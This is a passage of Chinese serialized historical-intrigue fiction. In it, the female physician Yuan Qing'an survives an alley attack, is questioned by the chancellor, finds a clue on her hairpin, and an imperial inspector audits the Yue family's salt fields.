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直到苑卿桉的背影消失在门口,她才慢慢站起身,一手捂着心口,一手扶着树干,神色复杂……
苑卿桉跟着无绿往外走,穿过一条又一条的回廊。岳家的宅子比相府深得多,每一道门后都像是藏着什么。
她忍不住回头看了一眼,落月小筑已经看不见了。那棵金黄的栾树已经被墙高高的院墙挡的几乎看不到了,唯有树梢那一点金黄还若隐若现。
走到一处回廊转角,苑卿桉忽然放慢脚步,轻声问无绿,“你家小姐,平时有人陪吗?”
无绿愣了一下,低声说,“夫人忙,老爷们更忙。小姐从前也是有人陪的,只是后来……,”
说到此处,无绿像是想到了什么伤心事,眼神变得黯淡,“后来,小姐就习惯一个人了。”
无绿低下头,“奴婢也想多陪陪小姐,可奴婢终究只是一个奴婢。”
苑卿桉抿了抿唇,没有再问,她的视线再次落在了那院墙之上。
片刻后,她抬脚离开了岳家。
走出岳府大门,苑卿桉站在台阶上停了一瞬。街上人来人往,有人挑着担子吆喝,有人蹲在墙角晒太阳唠嗑。她在岳家待了差不多三个时辰,现在出来,却觉得像是过了好几天。
她慢慢往前走着,路过一个卖糖人的摊子,那老汉正给一个小孩儿捏兔子。那小孩儿笑得眼睛弯弯,接过糖人儿欢喜的跳着离开。
苑卿桉看了一眼,又想起了祖父。从前在枫镇赶集,祖父也会给她买糖人。可现在,祖父不在她身边,她也成了为别人看病的人。那个小孩儿有糖人,岳千帆有什么呢?
也许,她们都是一样的人……
风有点凉,吹起了她的发丝,衣摆轻轻拂过地面带起阵阵药香。她拢了拢自己的披风,收回视线,继续往前走。
刚才在岳家时,温垚的那块牙牌。还有他最后看她时,那别有深意的眼神,他或许也知道些什么。温垚此时出现在岳家,看来这账本的事一定非同小可。
账本,盐政改革,庄家,岳家……这一切,远比她想象的还要复杂。庄聿安明知她会被怀疑,却还是把她推到岳家。
而岳家明明无一人信任她,又偏偏默许了她的进入。看来,是自己的身上有岳家想要的东西了。
可自己只是一介女医,从前连良州都不曾彻底踏出过。那么能让岳家如此的,只可能是祖父了。不,更准确的来说——是那神秘的星云令碎片。
如果岳家是奔着星云令来的,那庄家呢,他的目的又是什么呢?他们跟屠村的黑衣人,会是一伙的吗?苑卿桉带着满脑子的疑问,缓步往丞相府走去。她想着这些事,脚步放慢了些许。
她忽然停了一下却没有回头,只是抬头看了一眼耀眼的太阳。她知道,这暗中监视的人从来不会间断。
但,这也许会成为她打开局面的一个机会……
12. 第 12 章
短暂思索过后,苑卿桉穿过闹市往前走。而不远处,一双发红的眼睛正凶狠复杂的盯着她的背影。那目光如火焰一般,似乎要把她吞噬。
陆七左手紧紧扣着佩刀,右手握成拳状,指甲刺破了掌心的皮肤。顿了片刻,他松开拳头,悄无声息的继续跟了上去。
苑卿桉脚步轻缓,从闹市街头拐进了一个小巷子。巷子里的青石板路面湿滑黏腻,两旁的土墙上印着斑驳的岁月磨痕。爬山虎缠满了整片长墙。它的叶子还是绿的,但边缘已经被秋风吹的卷曲微黄,就像是阳光烤焦了一样。
最惹眼的还是那些果子:蓝黑色的小果,一簇簇的藏在叶片下。果子表面都蒙着一层白霜,阳光西斜过来时,就变的亮晶晶,在暗绿的叶丛里格外好看。墙根的青砖路上还落满了熟透的果子。整面墙深深浅浅的绿,衬着蓝黑色的果实,在秋日的金阳下显得静谧又安宁。
跟到巷子入口,陆七看着苑卿桉的背影在这条美丽,幽深又老旧的小巷里越来越模糊,终究松开了攥刀的手。他转身想离开,视线却依旧黏在苑卿桉的背影上,脚更像是被灌了铅一样,半点都动弹不得。
察觉到背后的视线,苑卿桉脚步放的更慢,甚至停下脚步故意停顿在墙下。她微微侧脸,假意伸手去采摘那叶片下的果实,余光却落在了他那边。
阳光照进小巷在她脸上烙下一片金黄。那个角度,那个神情——在这一瞬间的某个片刻,居然跟记忆里的那张脸重合了。陆七的心像是被什么东西狠狠撞了一下,整个人愣在原地。
苑卿桉不知道他在看什么,只知道他盯着自己的眼神越来越奇怪。像是恨,又像是别的什么。她下意识取下簪子攥在手里站直身体后正面对着陆七。
她转身的那一刻,太阳刚好落下,金色余辉把她的影子拉的很长很长。而陆七身后的影子却一点一点消失最后跟小巷的阴影完全融合。她们两个人之间隔着十来米的距离,四目相对下,谁也没有说话,谁也没有打破此刻诡异的平静。风吹过,整面墙的叶子都轻轻舞动起来,发出细碎的沙沙声。
这是她第一次真切的见到一直跟踪自己的人。眼前之人是个成年男子,暗金色的竹叶腰封,随身佩刀,大拇指甲下还有暗色淤血,想必是受过专业训练的,不可轻敌。
“你是谁?为何跟踪我?”
陆七对她的问话充耳不闻,他冷漠,厌恶的看着苑卿桉,手也握住了刀柄,似乎是随时准备出手解决她。
看着陆七的反应,苑卿桉决定先发制人,她攥紧簪子,一个滑步到他面前,佯装去夺他腰间的刀。陆七回过神来,拉开距离后眼神变得凶狠,猛的攥住她欲夺刀的左手,用力一捏。
疼痛清晰的传遍了苑卿桉身体的每一处,她的手腕皮肤变得通红,里面的青筋条条绽起。她忍痛趁着这个近身的机会,挥动手里的簪子划破陆七的胸襟,还狠狠用手肘撞击他的胸膛。
心口一阵冰凉刺痛,陆七下意识松开了手,他低头看着那片翻起的衣料,彻底动了杀心。他不再留手,反手扣住苑卿桉的手腕猛力一拧,同时膝盖顶向她小腹。苑卿桉吃痛弯下腰,忙用另一只手摸到他腰间的刀。
刀出鞘的瞬间被苑卿桉握在手里时,她借着刀身的反光,看见了屋顶上那道黑影。随后她持刀砍向陆七,刀锋刚露,她便顺势横砍,脚下却故意慢了半步。
陆七果然中计,一掌拍向苑卿桉的心口。她被震的胸腔都发麻,手一松,刀掉落在地,发出哐当声。她整个人往后重重撞在墙壁上,果子“簌簌簌”的掉落一地,其中有两个还掉在她的发间。可她还没来得及喘口气,陆七的刀尖就直挺挺的刺向她的咽喉。
就在这千钧一发之际,屋顶上的暗卫动了。暗卫的剑鞘横挡在苑卿桉面前,生生挡下了那一刀。陆七后退了半步,待他稳住身形抬眼看过去,一个黑衣人已经挡在了苑卿桉的面前。
“动相府的人!”暗卫的声音很平淡。“阁下最好想清楚了!”
陆七盯着那暗卫看了几眼,此刻的怒火盖过了他理智。他冷笑一声:“庄相的人,倒是惯会多管闲事。既然你要救人,那你就替她去死吧!”
暗卫一言不发,持剑迎了上去。刀光剑影下,墙壁上的爬山虎被刀剑挑断。一整片一整片的爬山虎跟随着尘土四处飞扬。一阵清苦的草木气混着淡淡的血腥味在空气里漫开。
苑卿桉喘着气,靠墙站直身子,她的视线在缠斗的两人之间来回穿梭。陆七旋身躲避暗卫剑花的时候,视线不经意跟苑卿桉撞上,他握刀的手一滞,眼神几不可察地晃了一下。暗卫抓住机会,一个漂亮的挑剑,剑身擦着陆七的耳畔而过,削断了他几缕发丝。乌黑的发丝跌落在青石板路上,跟爬山虎的藤蔓交织缠绕在一起。
陆七眼睛一缩,被迫收刀后退,人还未来得及站稳,暗卫的剑已经抵上他咽喉。“再动,死!”
他没说话但握刀的手还在发抖,手臂上的伤口也在往外渗血。他盯着苑卿桉的脸,理智回笼,眼神里的杀意却没有减少。他没退,暗卫也没动。两人就这样对峙着,巷子里静的只剩下风声。
“小七!”
听到身后这一声熟悉的“小七”,陆七的身体瞬间僵住,身上的肃杀之气如潮水一般缓缓褪去。他没有回头,咽下一口唾沫,拳头握的咯吱作响,最后缓缓松开。
巷口处传来声响,脚步声不紧不慢,由远及近。一下一下的踩在青石板路上,像是石子投掷入湖的脆响。爬山虎的叶子被风吹起,露出底下暗红色的藤须。
苑卿桉攥着簪子靠墙站着,抬头望去。夕阳正在往下沉,巷口的光被拉成了一条金色的飘带。那人逆光而来,她看着陆归鸿从光影里走出来:先是一双靴子,再是靛青色袍角,然后是整个人。他的影子先于他抵达,从苑卿桉脚边滑过去铺满一地。
他走得很慢,每一步都像是丈量着什么。直到他停在暗卫面前,看了一眼被剑抵着咽喉的陆七。语气平和却不容置疑:“今日之事,到此为止。还请阁下放了我的人。”
暗卫没有动作,态度坚决寸步都不退让,气氛变得凝重。苑卿桉上前几步,走到暗卫前面。她明明暗卫矮了一个头不止,气场上却隐约有了几分质的变化。“你说点到为止就点到为止吗?你们跟踪监视了我小半个月,如今不给个说法就要走?天下没有这样的道理!”
“姑娘误会了,在下并非故意针对,只是姑娘……”陆归鸿不仅不怒反而故意停顿,审视的视线停在她的脸上,嘴角也挂上了一丝淡淡的伪笑。“只是姑娘长的很像在下一个故人,这才叫人远远跟着,不想竟让姑娘受惊了,还请姑娘见谅!”
“那还真是有缘啊!”苑卿桉回以一个客套的假笑,她看向一旁的暗卫。暗卫并不看她,收剑入鞘后足尖一点,踩着墙壁翻过小巷隐匿进阴影里。陆七紧绷着的神经微不可查的松动了一瞬,握刀的手也不抖了。可视线触及到苑卿桉时,依旧冰冷刺骨。
苑卿桉对他的反应并不甚在意,她的视线被陆归鸿腰上的水云银丝腰封和墨玉珏吸引,那东西看着像………她淡定自
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然的收回视线,“不知阁下名讳,来自何方?”
“在下归鸿,敢问姑娘如何称呼?”
“我叫苑卿桉,卿是卿本佳人的卿,桉是桉为嘉木的桉。”
“佳人易碎,嘉木难折!”陆归鸿说完连他自己都楞了一下,他不知道为什么自己偏偏接上了这么一句毫无章法的话。而他脱口而出的这句话让在场之人都有些意外。就连面无表情,冷若机器的暗卫也不自觉看了他一眼。
许是察觉到氛围有些古怪,他拱手作揖,行了一礼。“苑姑娘,时辰也不早了,我们就先回去,有缘再见。小七,我们走!”他没有任何留恋和停留之意,转身后脸上的随和,淡笑都消失的一干二净。陆七临走,不甘心的握紧拳头,狠狠剜了苑卿桉一眼才追随着陆归鸿的脚步离去。
苑卿桉看着他们的背影消失在小巷却迟迟没有离开。爬山虎的绿已经变得暗沉。果子也不再亮晶晶,蓝黑色融进暮色里,分不清叶。只有墙头上还挂着一抹金红的余晖,风一动,那点颜色就散了。
银丝腰封,成色极好的墨玉珏,随身佩刀的侍卫,这个归鸿……她没有在继续停留思考,而是转身回相府。她知道,相府有人正等着她回去呢。
同一时刻,陆归鸿和陆七也回到了临时的小院。一进房间,陆七就忍不住先声质问:“少将军,你方才为何要阻拦我杀了那个女人?你还对她笑的那么开心,她顶着那张脸,你不觉得很恶心吗?”
“小七,住口!”陆归鸿在窗边坐下,他一手搭在床沿,一手撑在桌面,面色冷然,不怒自威。“身为暗卫,擅自对目标人物动手,还打草惊蛇与相府的暗卫起冲突,我平日里就是这么教你的吗?”
“少将军,我……”陆七一时哑言,张了张嘴却说不出辩驳的话,只能委屈又不甘的低着头跪下认错。“少将军,属下知错了,还请少将军责罚。”
陆归鸿没有回答,他点燃了一盏烛火,他的神情在烛火下忽明忽暗,变得愈发难以揣测。他没有让陆七起来,也没有在出言责怪,只是沉默着。而他的沉默也让陆七愈发的清醒后悔。他心里那点不安和懊恼像是蚁虫一样啃食着他的内心。
许久
“啪嗒啪嗒!”陆七额头的汗水滴落在地板上晕染开,他的脚已经跪的僵硬发麻。
“先起来!”
得到陆归鸿的首肯后,陆七又偷偷抬眼看了他后才站起来,他起身的瞬间脚一软,一双温暖有力的大手扶住了他的手臂。
“少将军……”陆七心里五味杂陈,眼睛里蒙上了薄薄的阴影。
“你收拾一下,明早出发回北荣,换陆小八过来。”陆归鸿扶起他后,将手背在身后转身面向窗户。
陆七一脸的不可置信,他瞪大双眼,呼吸都变得急促了几分。“少将军,为什么要让我回去?我不想回去!”
“这些时日,堰州的局势愈发诡谲了,行将踏错一步便是坏了国主大计,覆水难收。你为何会突然对她起杀心,你我都心知肚明。”陆归鸿说这话时,语气是刻意的凉薄和压抑,而那细微颤抖的声线和肩膀还是出卖了他此刻的真实心情。
“我原以为,少将军都忘了呢……”陆七声音沙哑,他站起身对着他的背影恭谨的行了一礼,深深看了他一眼。“属下这就去收拾东西。”
陆归鸿没有回头,只是极轻的叹息了一声。“小七……”
有些路,走上去就回不了头。不是路不让人回头,是人不敢。因为他们害怕一回头就看见,那个出发时的自己……
13. 第 13 章
苑卿桉回到相府时,暮色已经将天边最后一缕光亮吞噬,府中亮起了一盏盏长明灯。暖黄色的光在黑夜中显得格外柔和,也照的人心里暖暖的。
陈兰带着孙妈妈穿过长廊,她们远远就瞧见了苑卿桉。尤其是看到她满身狼狈的回来,孙妈妈暗暗呸了一声。“夫人,你瞧这小蹄子一身,天都黑透了才回来,也不知道这岳家究竟有什么宝贝!”孙妈妈睨了苑卿桉一眼,敌意也是毫不掩饰。
“夫人!”苑卿桉不卑不亢,微微屈膝行礼。
“回来了。”陈兰捏着帕子优雅的甩了一下,才把目光放在她身上。“怎么这么晚才回来,不知道的还以为我们相府出去的人都这么没规矩呢。”
“在长街上看到很多卖稀奇小玩意的,多逛了一会儿,这才回来晚了。”
陈兰看了她一眼,没接她的话“罢了,回来就行。”她不耐的翻了个白眼,“岳家那地方不好待吧?你长往岳家跑,自己也多注意些。在岳家,万事当以相府利益为重,莫要丢了我们相府的脸。”不等苑卿桉回答,她就带着孙妈妈走了。
苑卿桉有那么一瞬间的愣神,随后她收敛情绪往庄聿安的书房走去。书房里,庄聿安正在练字,庄林安静恭谨的站在他身后守着他。
案上的烛火打在庄聿安的脸上,将他的影子深深烙在墙壁里。他站在书案前腰背微弯,执笔蘸墨写下:棋盘初弈。
听到门口的脚步声,庄聿安写字的手没停,但一滴墨却在纸上晕染开。他没有看苑卿桉,也没有问话,又继续往下写。
“相爷!”苑卿桉进门,他握笔的手还在纸上飞舞,书房里只有细微的沙沙声和呼吸声。等走近后,庄聿安已经写完放下笔。
棋盘初弈,落子无悔!
庄聿安拿起写好的字幅,笔锋沉稳,墨色饱满。他唇角轻微上扬,将字幅放下翻面压好后,又恢复了一贯的淡漠。他的目光从她脸上慢慢滑过,最后落在她手背上那条细微的还没消的红痕上,丝丝缕缕的血迹掺杂其中,不惹眼但却刺目。
——那是跟陆七缠斗时撞到墙壁被爬山虎叶片划伤留下的痕迹。
“可认得那人?”庄聿安收回视线把字幅放到一边压住。他重新拿了一张纸铺陈在桌上。庄林拿起桌上那块上好的双色彩凤墨开始研墨。
苑卿桉并不意外他会这般问,暗卫定然是早早就将巷子里的事告知于他了。
“不认识。此二人来路不明却明显气质卓越,训练有素。我瞧着不像是一般人家的公子跟暗卫。不知,相爷查到的,是否跟我猜想的一样?”苑卿桉在他下首处坐下,给自己倒了一杯茶。她摇晃着茶杯又轻轻放下。
“这些都不重要。你只要知道一条。”庄聿安并不在意她此刻的轻微冒犯,写字的手依旧稳如泰山,字迹遒劲有力。
“还请相爷明示!”苑卿桉心里有种不好的预感。直觉告诉她,庄聿安接下来的话,可能会彻底改变现在的一切。
“守好了你的东西,你就有活下去的资格。至于别的,那不是你现在要考虑的,明白吗?”庄聿安轻飘飘的看了她一眼,可也就是这一眼,让她后背直发麻。
“你什么意思?”
“人的精力是有限的,想太多,对现在的你来说,未必是好事!”他收回视线,重新看向那被压着的字幅。那股如芒在背的感觉尚未完全消散,苑卿桉盯着他,没有接话。
“岳家小姐的病如何了?”庄聿安语气随意平和,字也写的很慢,每一笔都很重,压迫感像和煦春风般慢慢渗来。初时不察,再觉已处风眼。
“陈年旧疾,只是稍稍有点起色而已,还需慢慢调养。”苑卿桉被压的有些许喘不过气,她勉强挺直腰杆直视他的眼睛。
“她,就没跟你提过岳家人最近都在忙什么?”
“林夫人这两日去了盐田,说是视察,其余就没了。”苑卿桉呼吸有些许的乱,但她还是尽力保持平静。
“岳家近日频繁有官员出入,你可有见过带有“勾覆”二字牙牌的人?或者听到他们说些什么?”
“没有,我几乎都在落月小筑给岳小姐看病诊治,不曾出去,也不曾见过什么人。”
“是吗?我说过,你很聪明。所以,你最好想清楚了再回答本相!”庄聿安放下笔,侧对着她把写好的墨宝递到烛火上。暖橙色的火焰慢慢将墨宝蚕食殆尽,最后变成了一缕飞灰,只余下一股松烟的苦味还在空气中弥漫。
苑卿桉起身的动作有些急,语气里带了点怒气和发泄的意味,连带着桌上茶杯里的茶水都荡出一圈涟漪。她稳住呼吸,与庄聿安对视。
“且不说岳家内部守卫森严,我没有任何机会去探听那些官员的事。再者,我只是以医女之身进入的岳家,贸然打探偷听如此机密之事,岂非授人以柄,坏了大局?相爷若是因此而怀疑我没有说实话,那我也无可辩驳。”
庄聿安盯着她看了几息后,“罢了,岳家的事,不急。你自己心里有数就好。回去休息!”
苑卿桉站了一会儿才转身往外走。走到门口时,她听见身后传来纸页翻动的声音,她没有回头,径直离开了。
“相爷,您是觉得,苑姑娘今日有些反常?”庄林一边研磨一边暗暗揣测他的心思。
“这丫头,鬼精着呢!若是不敲打敲打,早晚会坏了本相的大计!”庄聿安说这话时,眼睛里没有任何温度,像是淬了毒的寒冰。
“老奴会着人留意,不让她翻出浪花来。”
“嗯,听暗卫说跟她交手的那两个人招式有些奇特,只怕是外面混进来的野狼!非我堰州族类,其心必异!提醒底下人,加强警惕!”
“老奴明白了!”
庄聿安重新在案桌旁坐下,他的视线再次落在了那张被他压着的字幅上,随后又快速转到那方双色彩凤墨。看着那方墨,他表情晦暗难辨。
“相爷,这方墨还是五年前你四十大寿时,岳公送的。你一直没用,今儿取出来可是用的不趁手?要不老奴帮您处理了?”庄林停下研磨的动作,暗自叹了一口气,还是试探的询问他的想法。
“不必,放着也是放着,将就用吧……”
庄聿安一只手撑着脑袋,缓缓闭上眼,另一只手摆了摆,庄林见状便退了出去。他刚走两步,就听到了庄聿安几不可察的一声“岳海晟……”
他脚步一顿却没有说什么,只是默默离开了。
苑卿桉回到清水阁,春花早早守在院门口。见她平安归来,春花脸上的
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担忧之色肉眼可见的消散了不少。
“姑娘,你可回来了!”春花迎上去,扶着她往里屋走,又是端茶倒水又是捏肩捶背的。
“我不在的时候,院里没出什么纰漏吧?”
苑卿桉端起春花奉的茶喝了两口。
“院中一切安好,就是晌午过后,大少爷来了一趟。”春花说这话时偷偷看了她一眼,捏腿的力气也稍稍比刚才重了几分但立刻又放轻。
“大少爷?”苑卿桉想起了那天见到的那个少年,她眼神古井无波。“可有说是什么事?”
“奴婢替您问过了,大少爷是为了那岳家小姐的病情而来。”
苑卿桉微微陷入沉思,她记的庄聿安说过,庄思铭爱慕岳家小姐。想到岳千帆的病,她不由的怀疑这其中是否还有不为人知的隐情。
见苑卿桉突然不说话,春花像是看穿了她的想法。开口解释:“大少爷在五年前的一场宫宴上对岳小姐一见钟情,自此情根深种。虽说他现在啊,从不曾主动去岳家,但整个堰州无人不知他对岳小姐的心意。只可惜……”春花说到一半才意识到自己说多了,她赶忙闭嘴低下头继续给苑卿桉捏腿。
“嗯,我累了想歇会。你去回他,就说岳小姐的病能治,只是需要时间慢慢调养。”
“真的吗?太好了,大少爷知道一定会很开心的!”春花提起裙摆站起来行了个礼。“姑娘,那你休息,奴婢先下去了。”
春花离开后,苑卿桉才彻底放松下来。她的脊背弯了下去,人也趴在桌子上,看着铜镜里的自己,有些恍惚。
今日那个叫归鸿的人,他跟他属下对自己的试探,杀意,还有庄聿安的警告,无不让她更加确信,自己身上一定藏着他们要找的星云令碎片。只是这星云令到底是什么呢?祖父又会把东西放在哪儿呢?
她坐起来,拿出自己所有的东西,从药材到医书,再到衣物,一遍遍翻找下来却没有发现任何能跟碎片有关联的线索。她有些烦躁的扯了扯自己的头发却不慎将发间的簪子扯落掉在地上。
她捡起地上的簪子,背对着烛火,吹了吹上面的灰尘又拿出手帕小心的擦拭干净。也就是这个擦拭,让她发现了这个簪子不同寻常的地方。
这簪子的纹路……
苑卿桉仔仔细细的抚摸着簪子的每一寸纹路,还真让她看出了什么。环顾四周,见窗户都紧闭她才走到床榻边坐下。她取出纸笔,一笔一划将簪子上的纹路复刻画到纸上,片刻后,她看着纸上的一小截星云纹路雏形,脑海里快速闪过一个模糊的画面。可不就等她抓住,这个画面就消失了,像是从未在她脑海里出现过一样。
她看着纸上的纹路图案,又仔细观察这支簪子,实在想不通这里面的关联。可第六感又告诉她,这簪子上的纹路,也许就藏着碎片的秘密。
想通这一点后,苑卿桉攥着簪子站起来,她把那张纸揉成一团想直接扔掉,可抬起手又觉得不妥只好展开撕碎了扔进火盆里。看着它被火焰烧成灰烬,她才有些脱力的坐下。
苑卿桉紧紧攥着簪子,趴在床榻上。烛火在她眼皮上跳动,忽明忽暗的。她不想睡,但眼皮已经沉的睁不开了。梦里,她又看见了那截纹路——像是星云,又像是路……
14. 等待进入网审
翌日
天还没亮苑卿桉就醒了。她今天不用去岳家,本不用早起但她睡不着,披了件衣服走到窗边,透过窗棂看着外面四方的天儿抿着唇,不知道在想什么。
府门外传来了打更人的声音,听着约摸是寅时四刻。她揉了揉眉心,关窗户时听到了外头长街处的马蹄声。
苑卿桉的手缓缓放下,她偷偷的来到院子外,轻轻推开院门,借着西斜的月光透过门缝看到一辆马车正从庄家后门的方向出来。那是……相府的马车?
看这去的方向似乎是岳家盐田,难道要出事了吗?她摸了摸自己的心口,心跳的很快,还很不踏实。
罢了!这终究不是她现在该考虑的!她回到院子躺下,可翻来覆去的就是睡不着,直到天微微亮时才勉强睡去。
而此刻,盐田那边天边刚泛起微光,雾气贴着地面漫开。远处的盐田还静静沉在暗处,旁边村庄燃起点点暖黄色米粒。风从滩涂上吹过来,带着一股咸腥气。
早起的灶户已经生起了火,各家各户的烟囱陆续冒出炊烟,灰白的炊烟伴随雾气弥漫着。女人们在灶台前忙活准备早上的饭,小孩儿蹲在门口啃红薯。而远处的棚子里,盐工们揉着眼睛出来。他们有的蹲在水沟边洗脸,有的直接往盐田走,脚步声踢踢踏踏的。
卯时一刻,盐铁巡官岳枫召集了所有的的盐工跟灶户在盐田外围空阔平地上训话。“今儿有上面的官爷要来视察咱们盐田的盐业情况,你们都给我打起十二分的精神来。这次牵头的可是庄家人,谁要是被查出点什么,可别怪我翻脸不认人!”
岳枫的话一出,现场一片哗然。灶户们神色不变,只是交头接耳,盐工们则面露恐慌的窃窃私语。其中一个盐工还攥着旁边灶户的衣角,灶户抽回手给了他一个安心的眼神,那盐工才擦了擦额头上的汗。
“都明白了吗?”岳枫站在木台子上,视线缓缓扫过众人。他们都不约而同的停止议论,低下了头。
“多谢岳大人提点!”众人齐声回应,声音压得很低,像盐田上滚过的雷,又沉又闷。最中间有几个灶户悄悄抬头看了他一眼,又飞快低下头去了。
“都散了去干活!”
待众人散去,岳枫又去盐田四周转了一圈,仔细检查现场环境,盐工,灶户用具,盐仓的盐量,账本等等。每一处他都亲力亲为,不假手以人。
“大人,账本都在这儿了!”副手捧着几本厚厚的账本递到他面前。岳枫刚要翻看,外头进来一个小厮,小厮凑到他耳边低语了几句。不等他回应,外头就传来了细碎的铃铛声和沙沙的车辙声。他立刻放下账本,快步迎了出去。
林晚香的马车缓缓从青石小路上驶来。马车小巧精致,通体乌木,不见半分雕琢。帷幔是色泽暗淡的靛青色绣花厚锻面料,垂得严严实实,连风都掀不动。马车悄无声息地停在盐田边,玉蘅守在一旁。岳枫匆匆赶到,他微微弯腰垂眸,静候在一旁。“夫人!”
过了一会儿,马车帘角才被人从里面掀开一角。林晚香探出身来,玉蘅扶着她的手慢慢走下马车。她一身黄棕色暗纹褙子,头上只簪了一支素银簪子,与平日里的主母形象颇为不同。
下了车,林晚香站在盐田边上没有说话,只是看着远处那些在曦光里弯着腰的灶户,看着盐堆上白花花的光,看着雾气还没散尽的滩涂。
“都准备好了吗?”林晚香收回视线,拢了拢自己的披风。
“回夫人,小人里里外外都看过了,绝不会出什么纰漏。还请夫人随小人移步内室!”岳枫说完一路引着林晚香进入盐田内院。“夫人,这些账本我都看过了,请您查阅!”
林晚香坐下,随手拿起一本账本翻看了几页就放下,“这套账本我倒是不担心!”
“夫人,另一套账本小人已经转移到安全区域,任凭他们掘地三尺,也不会找到!”
林晚香眼底闪过一丝不易察觉的满意之色,“蘅儿,什么时辰了?”
玉蘅看了一眼外面的天色,“夫人,已经卯时四刻了。”
林晚香起身,“我再四周转转,你不必跟着了,找几个人去灶户家里在看看,让他们把私盐都藏好了!”
“小人这就去!”岳枫送走林晚香后,当即找了几个心腹去灶户家,他自己则早早在盐田附近等候孙绍祖的到来。
辰时三刻,一对人马声势浩大的进来。四名身着青色官服的带刀侍卫开道,四人共抬的青色小轿,往后是十二个跟随保护的盔甲侍卫。轿子两侧各有两个身带牙牌的官员一同随行。
岳枫带了四个管事,六个下人分两列恭候在道路旁。他偷偷扫了一眼那些人的牙牌——两个“推官”,一个“户部员外郎”,还是老熟人:吴言竟。
轿子停下,两个推官一左一右轻轻掀开帘子。岳枫垂着眼眸,瞥见轿子里的深青色袍摆,他把头微微压低,拱手行礼,恭谨又不失分寸。“下官恭迎孙大人!”
“岳巡官说笑了,今儿来的乃是王上派遣的盐田清查使——郑淮安郑大人!”吴言竟拿出南狄给的手令。他满脸笑容,眉眼中的胜券在握藏都藏不住。
岳枫猛的抬起头,看到吴言竟手里的那块黑色金纹手令后,他的脸色一变,立马带着人撩起衣袍跪下。
“下官参见郑大人!”
“岳巡官,你的脸色看起来不是很好啊,莫不是,看到郑大人,心里发虚了?”吴言竟看似揶揄,实则是句句带刺的软刀子。
郑淮安面色冷凝的看着岳枫,“岳巡官,你对本官的到来很意外?”
“郑大人言重了,下官并无此意。只是方才下官眼拙将大人认错,心中惶恐,还请大人恕罪!”岳枫只用了几息的时间就平复好心绪。他对上郑淮安严厉且怀疑的目光,没有躲避,反而大方的圆了过去。
“这是小事,本官自然不会计较。起来吧!”郑淮安扫了一眼远处盐田上的盐堆,心里大概有了数。“岳巡官,为日后盐田收官顺利推行,下官奉王上口谕,特来巡查盐务,灶户盐工日常以及……账务问题。所以,还请协助配合本官办公。”
岳枫站起身,扬起标志性的微笑,“这是自然,下官定当全力配合郑大人。郑大人,吴大人,请跟下官来!”他侧身伸手作了一个“请”的姿势。而他侧身的瞬间,几不可查的给自己旁边的心腹林深使了个眼色。
郑淮安和吴言竟对视一眼,露出了然的微笑。“岳巡官,依据王上的吩咐,所有陪同迎接的人员不得擅自离开郑大人的视线,违者按律当处以极刑。你的人,这是想去哪儿啊?”
吴言竟径直走到他面前,故意看了一眼林深,笑意更深了几分。“岳巡官,这个时候才想着去通风报信,不觉得太晚了吗?”
岳枫身体一僵,但还是皮笑肉不笑的拱手。“吴大人可真爱开玩笑,下官不过是想为两位大人带路,这才想着遣散了他们!”
“不必,就让他们跟着!”郑淮安一锤定音,甩了甩袖子。“岳巡官,带路!”
岳枫一时无法把这边的消息传递出去,只能先带着他们去了盐池,一路上都有盐工偷偷的往他们那边张望。
郑淮安在盐池边站了很久,看着那些白花花的盐堆,没有说话。岳枫陪在一旁,额头已经沁出细汗。
“郑大人,这日头一会儿就毒辣了,不若下官陪您去别的地方去转转?”
“也好!”眼见郑淮安收回视线,岳枫心里提着的那块石头总算放下了。“郑大人,这边!”他们两人在盐田边上慢慢
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走着,风吹起了衣服的下摆。
郑淮安往前走,吴言竟自然的跟上去。但他走出几步,忽然停下来,看着远处那片盐田。“岳巡官,那片盐田,本官想去看看。你带路。”说完,他看了吴言竟一眼。
那一眼,是明晃晃的通知和警告。
吴言竟脚步一顿。他下意识还想跟上去——钦差单独问话,万一问出什么,他不在场,回去怎么跟庄相交代?可郑淮安已经转过身往前走了。
“郑大人,下官这就带路!”
吴言竟咬了咬牙,压下那股子不甘停在了原地。旁边一个推官低声问:“吴大人,咱们……”
“等着。”吴言竟声音很硬,脚步没动。他的视线落在远处盐田上的郑淮安和岳枫身上。
郑淮安脚步缓慢,他没有问账本,也没有问私盐,只是看着那片滩涂,声音平缓的像是在闲聊。
“岳巡官管理这片盐田应该有些年头了吧?”
“回郑大人,二十年整。”岳枫回答的很快。“我父亲那一辈时,我们就在这儿了。我打小就是在这盐田里长大的。”
“二十年,想来对这儿都一草一木都熟悉的很了。”
岳枫笑了笑,没接话。
郑淮安在盐田边上走得很慢,像在散步。岳枫跟在后面,心里多少有些七上八下的。“这片盐田,每年产多少盐?”
“回郑大人,大堰盐田每年产盐约三万石。”岳枫脱口而出甚至都没有经过思考。毕竟,这些数字他早已烂熟于心。
“三万石……”郑淮安点点头,“那有多少灶户和盐工?”
“灶户一百二十。盐工的话并无固定的人数。多的时候一千来号人,少的时候几百来人。”
郑淮安笑了:“岳巡官对这些事记得如此清楚,看来平日里也定然是个兢兢业业的。”岳枫不知道他是什么意思,只能陪着笑斟酌着回答:“这些都是下官的分内之事,下官半分也不敢马虎。”
“嗯。”郑淮安没再问,继续往前走。当走到那道浅浅的沟渠边上,他停下,看了看沟渠那边的盐田,又看了看沟渠这边的。“那边呢?”他随口问了一句,“也是岳家的?”
那道沟渠,是岳家早年私自扩展的地界。沟渠这边是岳家的,那边是官地。这么多年没人提,他以为早没人记得了。岳枫心里一紧但表面上不显山不显水。“那片是岳家的老盐田了。产量不算高,每年也就一千石左右。”
“嗯。”郑淮安点点头。“那这片盐田有多少盐工跟灶户?”
“那些灶户跟盐工也是从大堰盐田这边调去的。平时不固定人数,都是有需要了在安排。”郑淮安没再问,继续往前走。岳枫松了口气,觉得这一关算是过了。
郑淮安走出几步后停下,意味深长的笑了。“既然是产量不高的老盐田,日后也不必花太多的时间和精力在上面了。”
岳枫心头一紧,嘴上却应得很快:“下官明白,回头就安排。”
“嗯,不着急,你慢慢改。去看看盐仓!”郑淮安说完就继续往前走了。
远处小林里,林晚香的马车安静停靠在林中,她坐在马车内看书,视线停留在纸上迟迟没有移开。l
“夫人,外头出事了!去的人不是孙绍祖,是王上派遣的盐田清查使!孙绍祖去旁边灶户家了。”玉蘅压低的嗓音传来。林晚香放下书掀开帘子一角,望过去。那是一顶青色小轿,旁边还有四个守卫,盐田四周则有十来个盔甲侍卫在巡视。
“我知道了!”林晚香看着那些巡视的侍卫,面色沉淡入水。玉蘅看着她的脸色,心里有些打鼓。“夫人,那我们怎么办?”
“你先下去!”林晚香没有回答玉蘅的话。她缓缓放下了帘子……
15. 第 15 章
